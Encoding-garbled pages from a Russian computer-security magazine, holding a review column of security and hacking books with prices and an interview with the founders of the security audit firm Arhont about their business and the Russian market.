Áîðèñ Ëåîíòüåâ / 528 ñòðàíèö
Ðàçóìíàÿ öåíà: 273 ðóáëÿ

Ôðèêåð — ýòî òåëåôîííûé
õàêåð. ×òîáû ñòàòü ôðèêå-
ðîì, íå îáÿçàòåëüíî ëîìàòü
ÀÒÑ, äîñòàòî÷íî îáëàäàòü ñî-
îòâåòñòâóþùèìè çíàíèÿìè,
êîòîðûå, êñòàòè, ïðèãîäíû
äëÿ èñïîëüçîâàíèÿ è â ìèð-
íûõ öåëÿõ.

Êíèãà ïîñâÿùåíà èìåí-
íî áåçîïàñíîñòè. Ïîäðîáíî
îá ÀÒÑ, êàê îòïðàâèòü ôàêñ
áåñïëàòíî â ëþáóþ òî÷êó 
ìèðà, ÷òî äëÿ ýòîãî ïîíàäî-
áèòñÿ. Êàê ïåðåïðîãðàììèðî-
âàòü ïåéäæåð è ïîëüçîâàòüñÿ
èì ïðàêòè÷åñêè áåñïëàòíî.
Íåäîêóìåíòèðîâàííûå âîç-
ìîæíîñòè ñîòîâûõ òåëåôî-
íîâ è èõ âçëîì. È âñå â òà-
êîì äóõå...

ÎÎññííîîââûû ççààùùèèòòûû 
èèííôôîîððììààööèèèè:: 
óó÷÷ååááííîîåå ïïîîññîîááèèåå 
ääëëÿÿ ññòòóóääååííòòîîââ
ââûûññøøèèõõ óó÷÷ååááííûûõõ 
ççààââååääååííèèéé

Ì.: Èçäàòåëüñêèé öåíòð 
«Àêàäåìèÿ», 2006 
Êóïðèÿíîâ À.È. / 256 ñòðàíèö
Ðàçóìíàÿ öåíà: 209 ðóáëåé

Èíôîðìàöèÿ ìîæåò áûòü
ïðåäñòàâëåíà êàê óãîäíî, íå
òîëüêî â âèäå ôàéëîâ íà âèí-
÷åñòåðå :). Íóæíà çàùèòà íå
òîëüêî ñàìîé èíôîðìàöèè
(îò óòðàòû, èñêàæåíèÿ, íåñàí-
êöèîíèðîâàííîãî äîñòóïà è
èñïîëüçîâàíèÿ), íî è çàùèòà
ÎÒ ëîæíîé/èçáûòî÷íîé èí-
ôîðìàöèè. Â ÷èñëî æåðòâ
àòàêè ìîãóò ïîïàñòü è èíôîð-
ìàöèîííûå ñèñòåìû, è ñðåä-
ñòâà, êàíàëû, ñåòè èëè ñðåäû.
Êàæäûé âèä àòàêè ðàçáèðàåò-
ñÿ ïîäðîáíî âïëîòü äî ôèçè-
êè ïðîöåññîâ è ôîðìóë, íà
ïîëó÷åííîé îñíîâå âûáèðàþò
ñïîñîá çàùèòû: êîäèðîâàíèå
äëÿ çàùèòû îò èñêàæåíèÿ ïî-
ìåõàìè, îáðàòíàÿ ñâÿçü äëÿ
àäàïòàöèè ê ïîìåõàì, øèô-
ðîâàíèå äëÿ çàùèòû îò íå-
ñàíêöèîíèðîâàííîãî äîñòóïà,
ñòîéêîñòü ê äåçèíôîðìèðóþ-
ùèì ïîìåõàì è ìíîæåñòâî
äðóãèõ èíòåðåñíûõ íþàíñîâ.
Ïîáîëüøå áû íàãëÿäíûõ ïðè-
ìåðîâ è îïèñàíèÿ ïîïðîùå —
öåíû áû êíèæêå íå áûëî...

îîááççîîðð 
êêííèèãã
ÊÀÊ ÌÛ ÎÒÁÈÐÀÅÌ ÊÍÈÃÈ 
Â ÎÁÇÎÐ? ÁÅÐÅÌ ÑÏÈÑÎÊ ÊÍÈÃ,
ÊÎÒÎÐÛÅ ÅÑÒÜ ÍÀ ÑÊËÀÄÅ (ÍÅÑÊÎËÜÊÎ
ÒÛÑß× ÍÀÈÌÅÍÎÂÀÍÈÉ). ÄÅËÀÅÌ
ÂÛÁÎÐÊÓ ÏÎ ÒÅÌÅ ÍÎÌÅÐÀ, ÏÎÒÎÌ
ÎÒÁÐÀÑÛÂÀÅÌ ÓÑÒÀÐÅÂØÈÅ
ÝÊÇÅÌÏËßÐÛ È ÄÓÁËÈ. ËÓ×ØÅÅ
ÏÎÏÀÄÀÅÒ Â ÆÓÐÍÀË |ÀÍÄÐÅÉ ÊÀÐÎËÈÊ

×ÒÎ ÏÎËÈÑÒÀÒÜ

Åñëè çàèíòåðåñîâàëñÿ,
ìîæåøü çàêàçàòü ëþáóþ
êíèãó èç îáçîðà 
(ïî ðàçóìíûì öåíàì), 
íå îòðûâàÿ ïÿòîé òî÷êè
îò äèâàíà èëè ñòóëà, â
áóêèíèñòè÷åñêîì èíòåð-
íåò-ìàãàçèíå «OS-êíèãà»
(www.osbook.ru). Êíèãè
äëÿ îáçîðà ìû áåðåì
èìåííî òàì
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ÊÊîîììïïüüþþòòååððííûûåå 
ââèèððóóññûû èèççííóóòòððèè 
èè ññííààððóóææèè

Ì.: ÇÀÎ «Íîâûé 
èçäàòåëüñêèé äîì», 2005
Ìàêñèì Ëåâèí / 176 ñòðàíèö
Ðàçóìíàÿ öåíà: 112 ðóáëåé

Âèðóñû ïðèâûêëè ðàñïðîñò-
ðàíÿòü è ëå÷èòü, íî ìàëî
êòî ïûòàëñÿ ðàçîáðàòüñÿ,
÷òî ïðåäñòàâëÿåò ñîáîé âè-
ðóñ, êàê îí ôóíêöèîíèðóåò 
è êàê ÷óæåðîäíûé êîä âíåä-
ðÿåòñÿ â èñïîëíÿåìûé
ôàéë. Åñëè ðàçáåðåøüñÿ,
ñìîæåøü îïðåäåëÿòü, íà-
ñêîëüêî íàäåæíû àíòèâèðó-
ñû è ìîæíî ëè îáõèòðèòü èõ.

Î÷åðåäíîå òâîðåíèå
Êðèñà Êàñïåðñêè, ðàññ÷è-
òàííîå íà òåõ, êòî ñâîáîäíî
ãîâîðèò íà Ñ :), óìååò äèçàñ-
ñåì-áëèðîâàòü ìàøèííûå
êîäû è ÷àñòî èçó÷àåò èñõîä-
íûå òåêñòû. Âèðóñû íå ñòîÿò
íà ìåñòå, îíè ïðî÷íî îáîñ-
íîâàëèñü â Linux, íàó÷èëèñü
ñêðûâàòü ñâîå ïðèñóòñòâèå 
â ñèñòåìå, ïðîáèëè íîâûå
äûðû â áðàíäìàóýðàõ, àäàï-
òèðîâàëèñü ê Longhorn... Êàê
çàùèòèòü èíôîðìàöèþ îò
ðàçðóøåíèÿ?

ÂÂââååääååííèèåå 
ââ õõààêêèèííãã

Ì.: ÇÀÎ «Íîâûé 
èçäàòåëüñêèé äîì», 2005 
Ìàêñèì Ëåâèí / 176 ñòðàíèö
Ðàçóìíàÿ öåíà: 112 ðóáëåé

Õàêåðàìè íå ðîæäàþòñÿ! Òàê
÷òî ìîæåøü áåç îñîáûõ ïðîá-
ëåì îñâîèòü èõ îñíîâíûå
óëîâêè: ñïóôèíã, ñíèôèíã,
«ìóñîðíûå áà÷êè», ëîâëÿ íà
«äóðà÷êà», âçëîì ïàðîëåé,
ëîæíûå DNS-çàïðîñû è ìíî-
ãîå äðóãîå, — âñå åñòü â ýòîé
êíèæêå. Ïðèáàâü ïðèêîëüíûé
ñòèëü «íà òû», ÷èòàåòñÿ ëåãêî
è ïðîñòî. Ãëàâû î÷åíü ìà-
ëåíüêèå è ïåðåòåêàþò îäíà 
â äðóãóþ, ïî ìåðå ïðî÷òåíèÿ
íà÷èíàåøü ïîíèìàòü ñëåíã
õàêåðîâ, èõ öåëè è ïðèåìû
ðàáîòû.

ÇÇààùùèèòòàà îîòò õõààêêååððîîââ
ññððååääññòòââààììèè õõààêêååððàà

Ì.: ÄÌÊ Ïðåññ, 2005 
Ïðîåêò Honeynet / 312 ñòðàíèö
Ðàçóìíàÿ öåíà: 197 ðóáëåé

Honeynet — ñïåöèàëüíàÿ
êîìïüþòåðíàÿ ñåòü (êàêèõ
ìíîãî), ðàáîòàþùàÿ êàê ïðè-
ìàíêà. Õàêåðû íàõîäÿò ho-
neynet è òðàòÿò äðàãîöåííîå
âðåìÿ, à ñîçäàòåëè «ïðèìà-
íîê» óáèâàþò äâóõ çàéöåâ:
îòâîäÿò óäàðû îò ðåàëüíûõ
ñåòåé è áåñïðåïÿòñòâåííî ñî-
áèðàþò è àíàëèçèðóþò èí-
ôîðìàöèþ î ñðåäñòâàõ âçëî-
ìà è ïîâåäåíèè õàêåðîâ. Êíè-
ãà ðàññêàçûâàåò: êàê ñîçäàòü
ïîäîáíóþ «ïðèìàíêó», ÷òî 
è êàê ñîáèðàþò è àíàëèçèðó-
þò ñ èõ ïîìîùüþ, âîçìîæíûå
ïðîáëåìû è ðåøåíèÿ. Óíè-
êàëüíàÿ âîçìîæíîñòü ïîñìîò-
ðåòü íà õàêåðîâ ñ èõ æå ïîçè-
öèé :). À ñî ñòîðîíû âñåãäà
âèäíåå...

ÊÊððèèïïòòîîããððààôôèè÷÷ååññêêèèåå
ììååòòîîääûû ççààùùèèòòûû 
èèííôôîîððììààööèèèè:: 
óó÷÷ååááííîîåå ïïîîññîîááèèåå
ääëëÿÿ ââóóççîîââ

Ì.: Ãîðÿ÷àÿ ëèíèÿ — 
Òåëåêîì, 2005 
Ðÿáêî Á.ß. / 229 ñòðàíèö
Ðàçóìíàÿ öåíà: 218 ðóáëåé

Êðèïòîãðàôèÿ è èíòåðåñíà, 
è ñëîæíà. Ïðåæäå âñåãî, îíà
âêëþ÷àåò â ñåáÿ ìàòåìàòèêó
è êó÷ó ôîðìóë, è ÷òîáû ïî-
íÿòü èäåîëîãèþ êðèïòîãðà-
ôèè, ïðèäåòñÿ íà÷èíàòü ñ ñà-
ìîãî íóëÿ. Âïîëíå ïîäîéäåò
ó÷åáíîå ïîñîáèå äëÿ âóçîâ :). 

Ãëàâíîå — ÷òî èçäàíèå
äîñòàòî÷íî ñâåæåå è ïîñâÿ-
ùåíî íîâûì íàïðàâëåíèÿì
êðèïòîãðàôèè, ñâÿçàííûì 
ñ îáåñïå÷åíèåì áåçîïàñíîñòè
ðàáîòû â ñåòÿõ. Òóò òåáå 
è øèôðû ñ îòêðûòûìè êëþ÷à-
ìè, è ìåòîäû öèôðîâîé 
ïîäïèñè, è îñíîâíûå êðèïòîã-
ðàôè÷åñêèå ïðîòîêîëû, áëî-
êîâûå è ïîòîêîâûå øèôðû,
êðèïòî-ãðàôè÷åñêèå õýø-
ôóíêöèè. Åäèíñòâåííûé íå-
äîñòàòîê ïîäîáíîé ëèòåðàòó-
ðû: èçëîæåíî äîâîëüíî ñóõî
(÷èòàé «ñòðîãî»). Ïðèìåðû,
êîíå÷íî, åñòü, íî îíè ÿâíî
îòîðâàíû îò æèçíè, ïîýòîìó
íå íàãëÿäíû
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ÀÍÄÐÅÉ ÂËÀÄÈÌÈÐÎÂ

ÓØÅË Â IT ÈÇ «×ÈÑÒÎÉ»
ÍÀÓÊÈ, ÒÀÊ ÊÀÊ «ÒÀÌ ÍÅ
ÄÀÞÒ ÇÀÍÈÌÀÒÜÑß ×ÅÌ
ÕÎ×ÅØÜ». ÑÏÅÖÈÀËÈÇÈ-
ÐÓÅÒÑß Â ÎÑÍÎÂÍÎÌ ÍÀ
ÁÅÇÎÏÀÑÍÎÑÒÈ ÑÅÒÅÂÎÉ
ÈÍÔÐÀÑÒÐÓÊÒÓÐÛ: ÌÀÐØ-
ÐÓÒÈÇÀÒÎÐÛ, ÊÎÌÌÓÒÀÒÎ-
ÐÛ, ÒÎ×ÊÈ ÄÎÑÒÓÏÀ È Ò.Ä.
ÐÀÁÎÒÀÅÒ Ñ ÏÐÎÒÎÊÎËÀ-
ÌÈ ÍÀ ÍÈÆÍÈÕ ÓÐÎÂÍßÕ:
ÊÀÍÀËÜÍÛÉ, ÑÅÒÅÂÎÉ, 
ÁÅÇÎÏÀÑÍÎÑÒÜ ÊÎÌÌÓÒÀ-
ÖÈÈ È ÌÀÐØÐÓÒÈÇÀÖÈÈ

ÊÎÍÑÒÀÍÒÈÍ
ÃÀÂÐÈËÅÍÊÎ

ÑÏÅÖÈÀËÈÑÒ Ñ ÎÏÛÒÎÌ
ÐÀÁÎÒÛ Â ÑÔÅÐÅ ÈÒ-
ÁÅÇÎÏÀÑÍÎÑÒÈ ÁÎËÅÅ 12-
ÒÈ ËÅÒ. ÑÎÀÂÒÎÐ ÄÂÓÕ
ÊÍÈÃ: «WI-ÔÓ: ÑÅÊÐÅÒÛ
ÁÅÑÏÐÎÂÎÄÍÎÃÎ ÂÇËÎÌÀ»
È «ÑÅÊÐÅÒÛ ÕÀÊÅÐÎÂ: ÁÅÇ-
ÎÏÀÑÍÎÑÒÜ ÑÅÒÅÉ CISCO»

ÀÍÄÐÅÉ
ÌÈÕÀÉËÎÂÑÊÈÉ

ÁÎËÅÅ ÄÅÑßÒÈ ËÅÒ ÀÊÒÈÂ-
ÍÎ ÇÀÍÈÌÀÅÒÑß ÑÅÒßÌÈ,
ÑÈÑÒÅÌÀÌÈ ÀÓÒÅÍÒÈÔÈ-
ÊÀÖÈÈ, ÁÅÑÏÐÎÂÎÄÍÎÉ
ÑÂßÇÜÞ, ÊÎÌÏÜÞÒÅÐÍÎÉ
ÁÅÇÎÏÀÑÍÎÑÒÜÞ 
È Ó×ÀÑÒÂÓÅÒ Â ÐÀÇÐÀÁÎÒ-
ÊÀÕ È ÈÑÑËÅÄÎÂÀÍÈßÕ
ÊÎÌÏÀÍÈÈ «ÀÐÕÎÍÒ»

ïïððîîââååððååííîî 
ýýëëååêêòòððîîííèèêêîîéé
ÎÍÈ ÀÂÒÎÐÛ ÍÅÑÊÎËÜÊÈÕ ÏÎÏÓËßÐÍÛÕ ÊÍÈÃ ÏÎ ÁÅÇÎÏÀÑÍÎÑÒÈ, ÌÍÎÃÎ×ÈÑËÅÍÍÛÕ
ÏÓÁËÈÊÀÖÈÉ ÎÁ ÎÁÍÀÐÓÆÅÍÍÛÕ ÓßÇÂÈÌÎÑÒßÕ ÍÀ ÔÎÐÓÌÀÕ È ÑÅÒÅÂÛÕ ÐÅÑÓÐÑÀÕ (BUG-
TRAQ, PACKETSTORM, SECURITYLAB), À ÒÀÊÆÅ Â ÏÐÅÑÑÅ (LINUX WORLD, LINUX MAGAZINE,
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ÀÓÄÈÒÎÐÛ ÁÅÇÎÏÀÑÍÎÑÒÈ

ÊÎÍÑÒÀÍÒÈÍ ÃÃÀÂÐÈËÅÍÊÎ: Â ñôåðå èíôîñåêà ñàìîå ïðîñòîå — îñíîâàòü è îðãàíèçîâàòü ñâîå äå-
ëî, â ïåðâóþ î÷åðåäü — íà÷àòü ïðîäàâàòü ñåðâèñû è ñâîè çíàíèÿ: äëÿ ýòîãî íå íóæíî äîðîãîñòîÿùåå
îáîðóäîâàíèå, ïîìåùåíèÿ è ò.ä. Ñîîòâåòñòâåííî, çàòðàòû íà îðãàíèçàöèþ íåñîèçìåðèìî ìåíüøå. Íà-
÷èíàëè ñêðîìíî, ó êàæäîãî ïî äåñêòîïó, âûõîä â èíòåðíåò :). Ïîòîì ïðèêóïèëè íåñêîëüêî ëàïòîïîâ (äëÿ
áåñïðîâîäíûõ ñåòåé), ïàðó ìàðøðóòèçàòîðîâ, è òàê äî ïàðû ðàêîâ ñ îáîðóäîâàíèåì. Êîãäà ìû îòêðû-
âàëèñü, ïðî íàñ âîîáùå íèêòî íå çíàë, âñå ìû ïðèøëè èç ñôåð, íå ñâÿçàííûõ ñ ÈÒ, ïîýòîìó ïðèøëîñü
äîñòàòî÷íî ìíîãî âðåìåíè ïîòðàòèòü íà íàðàáîòêó ñâÿçåé â èíäóñòðèè, êàêîé-òî èçâåñòíîñòè, äîâåðè-
òåëüíûõ îòíîøåíèé ñ êëèåíòàìè. Ñòåðåîòèï «ðóññêèõ õàêåðîâ» ÷àñòî ïðîÿâëÿë ñåáÿ êàê íåçàìåíèìûé,
à èíîãäà íàîáîðîò...
ÀÍÄÐÅÉ ÌÌÈÕÀÉËÎÂÑÊÈÉ: Ïîñêîëüêó «Àðõîíò» íåáîëüøàÿ êîìïàíèÿ, ïðèõîäèòñÿ âûïîëíÿòü ðàç-
íîñòîðîííèå îáÿçàííîñòè îò îáùåíèÿ ñ êëèåíòàìè äî âûñîêîòåõíè÷åñêèõ ñôåð. È áóêâàëüíî ÷åðåç ãîä
ïîñëå îòêðûòèÿ êîìïàíèè î íàñ çíàëè íà ðàçíûõ êîìïüþòåðíûõ âûñòàâêàõ è êîíôåðåíöèÿõ, à åùå ÷å-
ðåç ãîä âûøëà ïåðâàÿ êíèãà — «Wi-Foo: the Secrets of Wireless Hacking». ×åì áîëüøå ìû óçíàâàëè ðû-
íîê, òåì ñèëüíåå óáåæäàëèñü â ñâîèõ ñïîñîáíîñòÿõ â îáëàñòè êîìïüþòåðíîé áåçîïàñíîñòè. Êàê ïîêàçà-
ëà ïðàêòèêà, ðåàëüíûõ ñïåöèàëèñòîâ â ýòîé ñôåðå íå òàê óæ ìíîãî.

ÑÏÅÖ: ÍÀÑÊÎËÜÊÎ ÑËÎÆÅÍ ÏÓÒÜ ÎÒ 
ÂÎÇÍÈÊÍÎÂÅÍÈß ÈÍÒÅÐÅÑÀ 
Ê ÁÅÇÎÏÀÑÍÎÑÒÈ ÄÎ ÎÁÐÀÇÎÂÀÍÈß 
ÖÅËÎÉ ÊÎÌÏÀÍÈÈ?
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ÀÍÄÐÅÉ ÂÂËÀÄÈÌÈÐÎÂ: Âñå çàâèñèò îò âåëè÷èíû èíòåðåñà. Ãëàâíîå — èìåòü êîìàíäó, êîòîðàÿ ñïî-
ñîáíà âûïîëíÿòü ðàçíîñòîðîííèå ôóíêöèè, ÷òîáû ó÷àñòíèêè áûëè àêòèâíû è æåëàëè ïðèâíåñòè ÷òî-íè-
áóäü ñâîå â ðàáîòó êîìïàíèè. À â ïëàíå ðûíêà — èìåòü ñâîþ íèøó, ïðè÷åì íóæíî èñêàòü åå êàê ðàç íå
èç-çà óçêîíàïðàâëåííîñòè ïðåäîñòàâëÿåìûõ óñëóã, à ñêîðåå íàîáîðîò. Íå áûòü ïðèâÿçàííûì ê îäíîìó
ïðîèçâîäèòåëþ, ñèñòåìå ìåòîäîëîãèé èëè ðåøåíèþ, à ïðåäîñòàâëÿòü êëèåíòó âûáîð ñ îöåíêîé îïòèìó-
ìà, ó÷èòûâàÿ åãî ñïåöèôè÷åñêèå òðåáîâàíèÿ è áþäæåò. Êàê ãîâîðèòñÿ, êëèåíò âñåãäà ïðàâ.

ÊÎÍÑÒÀÍÒÈÍ ÃÃÀÂÐÈËÅÍÊÎ: Âîîáùå-òî ÿ èç Ðèãè :). Òàê óæ ïîëó÷èëîñü, ÷òî ó÷èòüñÿ ïðèøëîñü â
Àíãëèè. Ñíà÷àëà øêîëà, ïîòîì èíñòèòóò, ïîòîì ìàãèñòðàòóðà. Íà ìîìåíò îêîí÷àíèÿ îáó÷åíèÿ ÿ ïðîâåë
â Àíãëèè ñåìü ëåò, óñïåë àäàïòèðîâàòüñÿ è îáçàâåñòèñü äðóçüÿìè è êîíòàêòàìè. Ê òîìó æå áûëà èäåÿ
îòêðûòèÿ ñâîåãî áèçíåñà, à íãëèéñêèé ðûíîê äëÿ ýòîãî ïîäõîäèë, òî åñòü âîïðîñ ðåøèëñÿ ñàì ñîáîé. Äî-
ïîëíèòåëüíîå «çà» ñîñòîÿëî â òîì, ÷òî ìû âñå áûëè íå òîëüêî èç ðàçíûõ ãîðîäîâ áûâøåãî Ñîâåòñêîãî
Ñîþçà, íî äàæå èç ðàçíûõ ðåñïóáëèê, à íà ñåãîäíÿ — åùå è èç ðàçíûõ ãîñóäàðñòâ. Ïåðååçä êóäà-òî íà
íîâîå ìåñòî æèòåëüñòâà îçíà÷àëî òî, ÷òî ïðèäåòñÿ íà÷èíàòü âñå çàíîâî, ñ íóëÿ.
Â Ðîññèè âñå òîëüêî íà÷èíàåòñÿ, ðûíîê ïîòèõîíüêó äâèæåòñÿ â ïðàâèëüíîì íàïðàâëåíèè, è ïîòåíöèàë
ðàçâèòèÿ ïðîñòî îãðîìíûé. Îñíîâíàÿ ïðîáëåìà, íà ìîé âçãëÿä, â òîì, ÷òî ìåíåäæìåíò êîìïàíèé åùå
íå îñîçíàë âàæíîñòü íàïðàâëåíèÿ èíôîðìàöèîííîé áåçîïàñíîñòè, ñâÿçàííûå ñ ýòèì ïîòåíöèàëüíûå
óáûòêè, ÷òî îñíîâíàÿ îòâåòñòâåííîñòü ëîæèòñÿ íà íèõ è ÷òî ýòî íå ðàáîòà äëÿ ïðîñòîãî àäìèíà/êîìïüþ-
òåðùèêà. Ôàêóëüòåò ÂÌÊ ÌÃÓ è ïðîôåññîð Ñóõîìëèí ðàáîòàþò â ïðàâèëüíîì íàïðàâëåíèè, è, âîçìîæ-
íî, ñ íàøåé ïîìîùüþ â ñêîðîì âðåìåíè ïîÿâèòñÿ îòäåëüíàÿ ïðîãðàììà ïî ïîäãîòîâêå ñïåöèàëèñòîâ ïî
ÈÒ-áåçîïàñíîñòè.
ÀÍÄÐÅÉ ÌÌÈÕÀÉËÎÂÑÊÈÉ: ß áû íå ñêàçàë, ÷òî â Àíãëèè ó÷åáà ëó÷øå, ÷åì â Ðîññèè, ñêîðåå íàîáî-
ðîò. Ñèñòåìà îáðàçîâàíèÿ â ýòîé ñòðàíå îñíîâàíà íà óçêîé ñïåöèàëèçàöèè ó÷åíèêîâ, ÷òî â êîíå÷íîì
èòîãå îãðàíè÷èâàåò ñôåðó çíàíèÿ è èíòåðåñû ëþäåé. ß âûáðàë Àíãëèþ èç-çà åå ðåïóòàöèè íà ìåæäóíà-
ðîäíîì óðîâíå. Âåäü ìíîãèå íà çàïàäå ñ÷èòàþò Ðîññèþ êîððóìïèðîâàííîé ñòðàíîé, ñ ðàñïðîñòðàíåí-
íûì âçÿòî÷íè÷åñòâîì, ÷òî, â ñâîþ î÷åðåäü, íåãàòèâíî ñêàçûâàåòñÿ è íà îáðàçîâàíèè. Ê òîìó æå ìåíåäæ-
ìåíò è áèçíåñ-íàóêè â Àíãëèè ïðåïîäàþòñÿ ëó÷øå, òàê êàê â åâðîïåéñêèõ âóçàõ â ýòîé ñôåðå íàêîïëå-
íî áîëüøå îïûòà.
Ê ñîæàëåíèþ, êîììåð÷åñêèé ðûíîê ÈÒ-áåçîïàñíîñòè â Ðîññèè ïðàêòè÷åñêè íå ñóùåñòâóåò è, ìîæíî ñêà-
çàòü, îïàçäûâàåò ìèíèìóì íà ïÿòü ëåò ïî ñðàâíåíèþ ñ Åâðîïîé, Àçèåé è Àìåðèêîé. Íà ðîññèéñêîì ðûíêå
ñïåöèàëèñòû ïî áåçîïàñíîñòè íå ïîëüçóþòñÿ ïîïóëÿðíîñòüþ, ê òîìó æå ñîâñåì íå ìíîãèå ôèðìû ìîãóò
âûäåëèòü èç áþäæåòà ïî $2 000 â äåíü íà ýòè óñëóãè, ÷òî ïî åâðîïåéñêèì ñòàíäàðòàì ñ÷èòàåòñÿ íîðìîé.
ÀÍÄÐÅÉ ÂÂËÀÄÈÌÈÐÎÂ: ×åì áîëüøå æèâó, òåì òâåðæå óáåæäàþñü â òîì, ÷òî «ñâîáîäà âûáîðà» —
âñåãî ëèøü ìèô. Åñëè, êîíå÷íî, òâîåãî îòöà çîâóò íå Áèëë Ãåéòñ. Â ìîåì êîíêðåòíîì ñëó÷àå, íà ìîìåíò
ïåðååçäà â Àíãëèþ «âûáîð» áûë: ëèáî ïðèíèìàòü ïðåäëîæåííûé ãðàíò îò Ëîíäîíñêîãî óíèâåðñèòåòà,
ëèáî áóêâàëüíî æèòü íà óëèöå. Â ìîåé ëàáîðàòîðèè (à ÿ òîãäà ðàáîòàë â áèîòåõå) ïðîñòî-íàïðîñòî çà-
êîí÷èëèñü ðåàêòèâû, æèâîòíûå, íå áûëî äîñòóïà ê ïîñëåäíèì ïóáëèêàöèÿì íà èçó÷àåìûå òåìû. Ñîþç
îêîí÷àòåëüíî ðàçâàëèëñÿ, èññëåäîâàòåëè â ðåñïóáëèêàõ ÑÍÃ (â äàííîì ñëó÷àå íà Óêðàèíå) îêàçàëèñü
ïðîñòî-íàïðîñòî íèêîìó íå íóæíû.
À â Ðîññèè ïåðñïåêòèâû, áåçóñëîâíî, åñòü. Ïðèåçæàþ âðåìÿ îò âðåìåíè ÷èòàòü êóðñû â ÀÈÑ â Ìîñêâå.
Ïîÿâëÿåìñÿ ñ äîêëàäàìè íà ðîññèéñêèõ êîíôåðåíöèÿõ. Ñî âðåìåíåì, î÷åâèäíî, îòêðîåì ñâîå ïðåäñòà-
âèòåëüñòâî â Ðîññèè è, â ïðèíöèïå, ìû ïîëíîñòüþ îòêðûòû ïðåäëîæåíèÿì îòå÷åñòâåííûõ êîìïàíèé...

ÊÎÍÑÒÀÍÒÈÍ ÃÃÀÂÐÈËÅÍÊÎ: Â äàííîì ñëó÷àå âàæíî íå êîëè÷åñòâî, à êà÷åñòâî. Â ïîñëåäíåå âðåìÿ
ïîÿâèëîñü äîñòàòî÷íî ìíîãî êîíòîð ïî áåçîïàñíîñòè, êîòîðûå èñïîëüçóþò ïàðó-òðîéêó ðàçëè÷íûõ êîì-
ìåð÷åñêèõ ñêàíåðîâ è âûäàþò èõ çà ïîëíîöåííûé àóäèò áåçîïàñíîñòè, ÷òî ôîðìèðóåò ó ïîòðåáèòåëÿ
ëîæíîå ÷óâñòâî îáåñïå÷åííîñòè áåçîïàñíîñòüþ. Â ïëàíå äèâåðñèôèêàöèè ó êàæäîãî ó÷àñòíèêà êîìàí-
äû åñòü ñâîÿ çîíà îòâåòñòâåííîñòè, ïîòîì ñêëàäûâàåòñÿ îáùèé ðåçóëüòàò ðàáîòû. Êîíêóðåíòîñïîñîá-
íîñòü â îñíîâíîì äîñòèãàåòñÿ çà ñ÷åò êà÷åñòâà âûïîëíåííîé ðàáîòû.
ÀÍÄÐÅÉ ÌÌÈÕÀÉËÎÂÑÊÈÉ: Äëÿ ïðîâåðêè áåçîïàñíîñòè íå îáÿçàòåëüíî èìåòü áîëüøîé êîëëåêòèâ
ðàáîòíèêîâ: ÷åì áîëüøå ëþäåé ðàáîòàþò íàä ïðîåêòîì, òåì òÿæåëåå îðãàíèçîâàòü è ñîáðàòü íóæíóþ è
äåòàëüíóþ èíôîðìàöèþ, ïðèéòè ê êîíêðåòíîìó ðåøåíèþ çàäà÷è. Îïòèìàëüíî — ÷åòûðå-øåñòü ÷åëîâåê
â êîìàíäå äëÿ ïîëó÷åíèÿ ðåçóëüòàòèâíîãî àóäèòà áîëüøèíñòâà ñðåäíèõ è êðóïíûõ êîìïàíèé.
Ðàáîòàÿ ñ êëèåíòàìè, ìû âñåãäà ñìîòðèì íà áåçîïàñíîñòü ñ ïîçèöèé ïîòðåáèòåëÿ, ïîëíîñòüþ ó÷èòûâà-
åì ñòðóêòóðó ïðåäïðèÿòèÿ-êëèåíòà, ñôåðó äåÿòåëüíîñòè è åãî ïîòðåáíîñòü â êîìïüþòåðíîé áåçîïàñíîñ-
òè. Ìû íèêîãäà íå íàâÿçûâàåì êàêîé-òî îäíîé êîìïàíèè ñåðâèñ, ðåøåíèå èëè îáîðóäîâàíèå. Íàîáîðîò,
ïðåäëàãàåì âûáîð è ïîäðîáíî îöåíèâàåì êàíäèäàòóðû. Áîëüøèíñòâî íàøèõ êîíêóðåíòîâ äëÿ àóäèòà
èñïîëüçóþò ðåøåíèå èëè ïðîãðàììíîå îáåñïå÷åíèå òîé èëè èíîé êîìïàíèè, òåì ñàìûì îãðàíè÷èâàÿ ñå-
áÿ è ïðåäîñòàâëÿåìûé ñåðâèñ. Ìû ñòàðàåìñÿ ñìîòðåòü íà áåçîïàñíîñòü ñî âñåõ ñòîðîí, èñïîëüçîâàòü
êàê ìîæíî áîëüøå îáîðóäîâàíèÿ è óòèëèò, ïðè ýòîì ïðîâåðÿåì è àíàëèçèðóåì êàæäûé ïîëó÷åííûé ðå-
çóëüòàò. Â ýòîì îäíî èç ãëàâíûõ íàøèõ îòëè÷èé îò êîíêóðåíòîâ, êîòîðûå ïðîâîäÿò àâòîìàòèçàöèþ íå-

ÑÏÅÖ: ÊÎÌÏÀÍÈß — ÂÑÅÃÎ ØÅÑÒÜ 
×ÅËÎÂÅÊ. ×ÒÎ ÂÛ ÌÎÆÅÒÅ? 
ÅÑÒÜ ÃÈÃÀÍÒÛ, ØÒÀÒ Â ÍÈÕ ÍÀÑ×ÈÒÛÂÀÅÒ 
ÑÎÒÍÈ ÑÏÅÖÈÀËÈÑÒÎÂ…

ÑÏÅÖ: ÏÎ×ÅÌÓ ÀÍÃËÈß?
×ÅÌ ËÓ×ØÅ Ó×ÅÁÀ ÒÀÌ? ×ÅÌ ËÓ×ØÅ 
ÐÀÁÎÒÀ? Ó ÍÀÑ ÍÅÒ ÏÅÐÑÏÅÊÒÈÂ?
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îáäóìàííî, ïðîãîíÿþò êîììåð÷åñêèé ñêàíåð èëè ïðîãðàììó, ðàñïå÷àòûâàþò îò÷åò è ñ÷èòàþò, ÷òî àóäèò
áåçîïàñíîñòè íà ýòîì çàêîí÷åí.
ÀÍÄÐÅÉ ÂÂËÀÄÈÌÈÐÎÂ: Âñïîìèíàåòñÿ ñòàðûé àíåêäîò î ñðàâíåíèè íàøåé è ÿïîíñêîé êîðïîðàöèé,
îí çàêàí÷èâàåòñÿ íà ôðàçå «Âîò íèêàê íå ïîéìåì, ÷òî æå äåëàåò çäåñü 501-é ñîòðóäíèê». Ìíîæåñòâî
ñîòðóäíèêîâ â áîëüøèõ êîìïàíèÿõ — áàëëàñò, îñîáåííî â êîíñóëüòàöèîííûõ êîìïàíèÿõ. Ó íàñ áàëëàñ-
òà íåò, è îòáîð ëþäåé âåñüìà òùàòåëüíûé, îí íå çàâèñèò îò ëè÷íûõ ñèìïàòèé è àíòèïàòèé. Íà êðàéíèé
ñëó÷àé ïîä ðóêîé åñòü ïðîâåðåííûå ñïåöèàëèñòû äëÿ ïðèâëå÷åíèÿ ê âûïîëíåíèþ îòäåëüíûõ çàäàíèé íà
